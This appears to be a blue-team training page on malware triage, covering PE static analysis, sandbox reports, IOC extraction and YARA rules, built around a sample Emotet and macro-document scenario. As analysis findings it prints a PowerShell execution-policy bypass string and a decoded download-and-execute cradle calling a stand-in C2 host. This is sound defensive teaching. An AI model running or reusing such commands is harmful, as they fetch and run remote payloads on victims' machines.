Blue Team · Expert
Malware Triage & Analysis

Master the four-phase malware analysis pipeline — initial identification and VirusTotal triage, static analysis of PE structure, strings, and imports, controlled sandbox detonation to map all behaviours, and IOC extraction culminating in YARA rule development — all without touching production systems or running untrusted code outside an isolated environment.

Expert Blue Team Path ⏱ 28 min read
Learning Progress
0%

Malware Triage and Analysis

Malware triage is the process of rapidly characterising an unknown malicious file to determine its capability, family, and behaviour — without executing it on a production system. The goal is to answer the analyst's immediate questions: What does this malware do? Has it been seen before? What IOCs should we hunt for across the environment? Does it inject into processes, communicate with C2, establish persistence?

Expert-level triage combines static analysis (examining the file without running it), dynamic analysis (executing in a controlled sandbox), and network analysis (examining C2 communication patterns captured during sandbox detonation). Together these produce a comprehensive threat profile that drives both containment decisions and environment-wide hunting.

⚠️Never execute on a production system: Malware analysis must be performed in an isolated, dedicated environment with no network access to production systems. Use FlareVM or REMnux virtual machines with host-only networking. A single mistake — accidentally running a sample with network access — can spread malware across the network and turn an analysis task into an active incident.

Static vs Dynamic — What Each Reveals

The two analysis modes are complementary, not redundant. Static analysis examines the file's structure and content without running it — fast, safe, and sufficient to identify known samples, extract embedded IOCs, and detect obfuscation. Dynamic analysis executes the malware in a controlled sandbox and records every action — slower, requires isolation, but reveals runtime behaviour that static analysis cannot: decrypted C2 communications, injected code that exists only in memory, and conditional behaviour triggered by specific system states.

The practical workflow runs static analysis first because it's fastest and lowest risk, using those results to decide how much dynamic analysis is warranted. A known Emotet sample with 54/72 VirusTotal detections and an existing community report may need only IOC extraction, not full manual analysis. An unknown sample with zero detections and no prior history warrants every phase of the pipeline.

📌 Non-Technical Analogy

Imagine receiving a suspicious unmarked package. Static analysis is like using X-ray and chemical sensors to examine the package without opening it — you can determine the shape of the contents, identify known materials, and detect certain threats without any risk. Dynamic analysis is like opening it in a fully contained bomb disposal chamber — you see exactly what's inside and what it does, but only because you've surrounded it with every protective barrier available. The X-ray (static) might be enough to identify the package as already known-dangerous and route it for disposal. Only genuinely unknown packages need the full disposal-chamber examination. The key is that under no circumstances does anyone open the package in the office.

The Malware Analysis Workflow

Triage to Deep Analysis Pipeline — Four Phases
Phase 1: Identification
  File type, hash (MD5/SHA-1/SHA-256), VirusTotal lookup, known family?
  First seen date, active campaigns, community reports

Phase 2: Static Analysis
  Strings extraction: URLs, IPs, registry keys, mutex names, error messages
  Import table: which Windows API functions does it call?
  PE header: sections, entropy, compile timestamp, resources
  Packed? Obfuscated? Self-modifying? → unpack before analysis

Phase 3: Dynamic Analysis
  Sandbox detonation: processes spawned, files created, registry changes
  Network activity: DNS queries, C2 connections, PCAP of communications
  Behavioural report: timeline of all observed actions

Phase 4: IOC Extraction and YARA
  C2 IPs/domains, mutex names, file paths, registry keys, hashes
  YARA rule from unique strings or byte sequences for environment-wide hunting

Malware Triage in Practice

Example 01Initial identification and VirusTotal lookup

The first step: hash the file and check threat intelligence before spending time on manual analysis. If it's a known sample, existing reports save hours and provide a head start on IOC extraction.

sha256sum suspicious.exe
3a4f8b2c1d9e7f6a5b4c3d2e1f0a9b8c7d6e5f4a3b2c1d0e9f8a7b6c5d4e3f2a

# VirusTotal hash lookup (never upload the file -- hash lookup is sufficient):
Detection: 54/72 engines
Family: Trojan.GenericKD / Emotet / MSHTA.Dropper
First seen: 2026-05-12 (2 days ago -- active campaign)
Community: "Emotet epoch 4 variant, drops IcedID as secondary payload"
# Known sample -- use existing VT report as IOC extraction starting point
# Check VT Relations tab for C2 IPs already identified by community
Example 02Static analysis — strings and imports

String extraction reveals embedded artefacts: URLs, IP addresses, registry paths, mutex names, and error messages that directly expose the malware's capability and infrastructure.

strings suspicious.exe | grep -E "http|192\.|10\.|cmd|powershell|HKEY"
http://c2-server.attacker.com/gate.php
powershell -ep bypass -w hidden
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Global\MutexName_abc123
# C2 URL, PowerShell execution, registry persistence, and mutex all visible in strings

dumpbin /imports suspicious.exe | grep -E "VirtualAlloc|WriteProcessMemory|CreateRemoteThread"
VirtualAllocEx WriteProcessMemory CreateRemoteThread
# These three imports together = process injection capability (the classic injection triad)
Example 03Sandbox detonation report

Automated sandbox analysis (Any.run, Cuckoo, JoeSandbox) executes the malware and logs every action — without risk to production systems. The report maps all behaviours comprehensively.

Sandbox Report -- suspicious.exe (30-second detonation)

Processes Created:
  suspicious.exe spawns: powershell.exe -enc JABz...
  powershell spawns: svchost32.exe (injected into memory)

Files Created:
  C:\Users\Public\svchost32.exe  (dropper second-stage payload)
  C:\ProgramData\update.dll      (DLL sideloading component)

Registry:
  HKCU\Run\WindowsUpdate = C:\Users\Public\svchost32.exe  (persistence)

Network:
  DNS: c2-server.attacker.com -> 185.220.101.45
  TCP: 185.220.101.45:443 HTTPS (beacon every 300 seconds)
Example 04Identifying packed malware

Packers compress or encrypt the malware payload to evade static analysis. Detecting packing must precede any string or import analysis — you're analysing the packer, not the actual malware, until you unpack.

peid suspicious.exe
UPX 3.96 [NRV2B, brute force] -> Markus Oberhumer
# Packed with UPX -- unpack first, then re-run string extraction:
upx -d suspicious.exe -o unpacked.exe

detect-it-easy suspicious2.exe
Packer: MPRESS 2.19 (x86)
# MPRESS requires manual or emulation-based unpacking (no simple CLI tool)
# Entropy analysis: PE section entropy > 7.0 = likely packed or encrypted payload
Example 05YARA rule development for hunting

After identifying unique strings or byte patterns in the malware, write a YARA rule to hunt for the same family across the entire environment — email, endpoints, and network shares.

rule Emotet_Loader_2026 {
    meta:
        description = "Detects Emotet epoch 4 loader variant"
        date = "2026-05-14"
        hash = "3a4f8b2c..."

    strings:
        $c2 = "gate.php" ascii
        $mutex = "MutexName_abc123" wide ascii
        $psh = "powershell -ep bypass -w hidden" ascii nocase
        $inj = { 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 }
    condition:
        uint16(0) == 0x5A4D and 2 of them
}
# uint16(0)==0x5A4D = valid Windows PE file (MZ header)
# "2 of them" = requires at least 2 string matches to reduce false positives

What You Need to Know

🔍
Static vs Dynamic Analysis
Static: examine without running (strings, imports, PE structure). Dynamic: execute in sandbox and observe behaviour. Static is faster and safer; dynamic reveals runtime-only behaviours. Both together produce the complete picture.
📦
Packing and Obfuscation
Packers compress/encrypt malware to defeat static analysis. High section entropy (>7.0), missing imports, and tiny code sections are indicators. Always detect and unpack before string/import analysis — you're otherwise analysing the packer shell.
🎯
Process Injection Imports
VirtualAllocEx + WriteProcessMemory + CreateRemoteThread together = process injection capability. The classic injection triad. Their presence in the import table signals the malware can inject code into other processes to hide.
🧵
IOC Extraction
Every analysis must produce actionable IOCs: C2 IPs/domains, file hashes, mutex names, registry keys, file paths, network patterns. These drive immediate hunting across the environment to find other infected hosts.
📜
YARA Rules
Pattern-matching rules for malware detection across endpoints and email. Write from unique strings or byte sequences. uint16(0)==0x5A4D ensures only Windows PE files match. "N of them" conditions reduce false positives.
🧪
Isolated Analysis Environment
FlareVM (Windows), REMnux (Linux), or dedicated analysis VMs with host-only networking and snapshots. Never analyse on a production-connected machine. Sandbox options: Any.run, Cuckoo, JoeSandbox, Hybrid Analysis.

Understanding the PE File Format

Windows executable files (PE format — Portable Executable) follow a defined structure that reveals significant information about the malware before a single byte of code runs. Understanding PE structure is the foundation of effective static analysis: every PE file contains a header with metadata, one or more sections containing code and data, an import table listing required Windows API functions, and optionally an export table, resources, and digital signature.

Key PE Header Fields

Compile timestamp: When was the binary compiled? Far-future or far-past timestamps indicate tampering. Many malware families set this to zero or a fixed date to frustrate attribution.

Section entropy: Code sections normally have entropy of 5.5–6.5. Values above 7.0 strongly suggest compression or encryption (packing). pecheck.py or CFF Explorer show per-section entropy.

Number of sections: Standard Windows PE files have 5–8 sections (.text, .data, .rdata, .rsrc, .reloc etc.). A PE with 1–2 sections, or with unusually named sections (UPX0, UPX1), is almost always packed.

Size of image vs size of raw data: A large virtual size with small raw data indicates unpacking at runtime — the packer stub decompresses the real code into memory.

Import Table Analysis

The import table lists every Windows API function the executable calls. This single data source reveals the malware's entire capability set before execution:

Network capability: WSAStartup, connect, send, recv, InternetOpen, WinHttpConnect.

Process injection: VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, NtCreateThreadEx.

Persistence: RegSetValueEx, CreateService, RegisterTaskDefinition.

Credential access: CryptAcquireContext, NtQuerySystemInformation (LSASS access).

Anti-analysis: IsDebuggerPresent, CheckRemoteDebuggerPresent, GetTickCount (timing attack), NtQueryInformationProcess.

Example 06Complete PE analysis workflow

Using freely available tools to extract the complete static picture from a suspicious PE before any sandbox detonation.

# Step 1: Basic file type and hash
file suspicious.exe && sha256sum suspicious.exe
suspicious.exe: PE32 executable (GUI) Intel 80386
3a4f8b2c1d9e7f6a5b4c3d2e1f0a9b8c...

# Step 2: PE section entropy (detect packing)
python3 pecheck.py suspicious.exe
Section: .text    entropy: 7.82  (HIGH -- likely packed)
Section: .data    entropy: 1.12  (low -- normal data)

# Step 3: Identify packer and unpack
detect-it-easy suspicious.exe
Packer: UPX 3.96
upx -d suspicious.exe -o unpacked.exe

# Step 4: Import table on unpacked binary
python3 pecheck.py unpacked.exe --imports
VirtualAllocEx, WriteProcessMemory, CreateRemoteThread  (injection triad)
WSAStartup, connect, send, recv                          (network capability)
RegSetValueEx, CreateServiceA                           (persistence)

# Step 5: Full string extraction on unpacked binary
floss unpacked.exe | grep -iE "http|gate|cmd|mutex|HKEY"
http://c2-server.attacker.com/gate.php
Global\MutexName_abc123

IOC Taxonomy — From Analysis to Hunting

Every malware analysis session must produce a structured set of Indicators of Compromise that drive immediate hunting across the environment. IOCs are only useful if they are specific enough to have a low false positive rate while broad enough to catch all variants of the same family. This balance is achieved by choosing IOCs at the right abstraction level — not too specific (a unique hash catches only one exact file) and not too broad (a common string appears in thousands of legitimate files).

IOC TypeExampleLifespanHunting Value
File hash (SHA-256)3a4f8b2c1d9e7f...Very short — one recompile changes itHigh precision for known exact sample; zero coverage for variants
Mutex nameGlobal\MutexName_abc123Medium — persists across minor variantsHigh — mutex names are often hardcoded across a family's lifetime
C2 domainc2-server.attacker.comShort — operators rotate infrastructureHigh immediately; expires fast. Block + hunt simultaneously.
C2 IP185.220.101.45Short — IP rotation commonHigh for firewall blocking; hunt historical connections while live
Registry key pathHKCU\...\Run\WindowsUpdateLong — persistence keys reused across campaignsMedium — also used by legitimate software; check value data too
Dropped file pathC:\Users\Public\svchost32.exeMedium — path patterns persist across campaignsHigh — "svchost32" in non-System32 path is highly anomalous
YARA rule (byte pattern)Injection triad byte sequenceLong — code patterns stable across familyHigh — catches all variants sharing the core code; low false positive rate

From Unknown Sample to Full IOC Report

Analysis ScenarioZero-Detection Sample — Full Four-Phase Pipeline

Submission: Email security gateway quarantines a .docm attachment (Invoice_May2026.docm) from an external sender. Hash lookup on VirusTotal: 0/72 detections. First submitted 4 hours ago. No community reports. Unknown sample — full pipeline required.

Phase 1 — Identification: SHA-256 hash recorded. VT: 0 detections, first submitted 4 hours ago by an analyst at a different organisation — active campaign. File command confirms: Microsoft Office Open XML with macro. Macro-enabled Office documents are a classic delivery vector.

Phase 2 — Static analysis: olevba (macro analysis tool) extracts the VBA macro without opening the file. Macro contains: AutoOpen() function (executes on document open), PowerShell invocation with base64-encoded command, download from external URL. Base64 decoded: IEX (New-Object Net.WebClient).DownloadString('http://185.220.101.45/stage2.ps1'). IOC extracted: 185.220.101.45, URL path /stage2.ps1.

Phase 3 — Dynamic analysis: Detonated in isolated Windows 10 VM on REMnux host-only network segment with FakeNet-NG simulating internet responses. Macro executed, PowerShell ran, FakeNet captured the DNS query (c2-server.attacker.com → 185.220.101.45) and HTTP GET for stage2.ps1. Stage2 payload creates: C:\ProgramData\svchost32.exe, registry Run key, then begins 300-second HTTPS beaconing to 185.220.101.45:443. Process tree: WINWORD.EXE → powershell.exe → svchost32.exe.

Phase 4 — IOC extraction and YARA: IOCs: IP 185.220.101.45, domain c2-server.attacker.com, dropped binary path C:\ProgramData\svchost32.exe, Run key value name "WindowsDefenderHelper", mutex Global\MutexABC123. YARA rule written targeting: macro string "AutoOpen" + PowerShell download string + "svchost32" in non-System32 path. YARA deployed to EDR for environment-wide hunt — finds 3 additional endpoints that received the same email and opened the attachment before gateway quarantine was applied.

Core Concepts Summary

🔍
Static vs Dynamic
Static: fast, safe, reveals structure and embedded strings. Dynamic: slower, requires isolation, reveals runtime behaviour. Static first — if known sample, existing VT report may be sufficient. Unknown samples need both.
📦
Packing Detection
Section entropy >7.0 = likely packed. PEiD, detect-it-easy identify packer type. UPX: CLI unpack. MPRESS: manual/emulation. Always unpack before strings/imports analysis or you're studying the packer wrapper.
🎯
Injection Triad
VirtualAllocEx + WriteProcessMemory + CreateRemoteThread in import table = process injection capability. The three functions together allocate memory in another process, write code to it, and execute it remotely.
🧵
IOC Lifespan
Hashes: very short (recompile changes them). Mutex/registry: medium. C2 IP/domain: short (rotate fast, hunt while current). YARA byte patterns: long (code reused across a family's campaigns). Prioritise durable IOCs.
📜
YARA Construction
uint16(0)==0x5A4D (MZ header check). String conditions: ascii, wide, nocase modifiers. Hex byte strings for code patterns. "N of them" to require multiple matches. Test against known-clean corpus before deploying.
🧪
Analysis Tools
Static: strings, floss, dumpbin, pecheck.py, die, olevba. Dynamic: Any.run, Cuckoo, JoeSandbox, FakeNet-NG (simulates network). VM environments: FlareVM (Windows malware), REMnux (Linux analysis host).
📋
VT Upload Caution
Hash lookup = safe (no sample shared). File upload = sample shared with VT community and accessible to paying subscribers. Never upload malware containing sensitive organisation data. Hash-only for confidential environments.
🏁
Analysis Output
Structured IOC set (hash, C2, mutex, paths, registry), YARA rule, family identification, capability assessment (injection/persistence/network/evasion), and recommended hunting queries for the SIEM and EDR.
Ready to put it into practice?
Proceed to the Lab

You've covered the theory. Now apply it hands-on in the simulated environment.

Start Lab — Malware Triage
← Return to all labs